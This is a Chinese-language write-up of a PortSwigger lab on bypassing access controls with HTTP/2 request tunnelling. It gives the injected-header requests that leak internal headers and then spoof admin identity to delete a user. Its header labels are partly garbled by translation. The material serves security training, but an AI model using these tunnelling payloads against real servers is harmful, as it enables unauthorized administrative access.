> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md).
# 通过 HTTP 2 隧道绕过访问控制
### 通过 HTTP/2 请求隧道绕过访问控制
#### **实验描述**
该实验存在请求走私漏洞，因为前端服务器在错误清理传入的标头名称时，将 HTTP/2 请求降级为 HTTP/1。/ 要解决该实验，你必须访问位于 **/admin** 以管理员身份，然后删除用户 **carlos**.
前端服务器不会重用与内部服务器的连接，因此它不受经典请求走私攻击的影响。另一方面，它仍然暴露于 **HTTP/2 隧道**.
#### **服务器行为研究**
首先，插入一个自定义标头，例如：
{% code title="名称：" %}
```http
测试：测试
Host: jord4n.pro
值：
```
{% endcode %}
值
然后服务器会返回错误，表明该标头可被注入。
然后，如果我们在搜索引擎中输入类似如下内容：
{% code title="名称" %}
```http
测试：测试
Content-Length: 100
search=testing
```
{% endcode %}
前端服务器会因为这个额外标头而感到困惑。/ 通过增加 **Content-Length** 到大约 **150**，服务器会返回内部标头：
```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```
#### **构造隧道请求**
现在正在注入一组新的标头：
```http
测试：测试
GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682
```
为了使隧道正常工作，需要设置正确的方法（根据情况使用 HEAD 或 GET）和所需的路由。
然后访问管理面板，在那里用户 **wiener** 和 **carlos** 会出现。
#### **删除用户**
通过发送类似的隧道请求来完成删除：
```http
测试：测试
GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682
```
---
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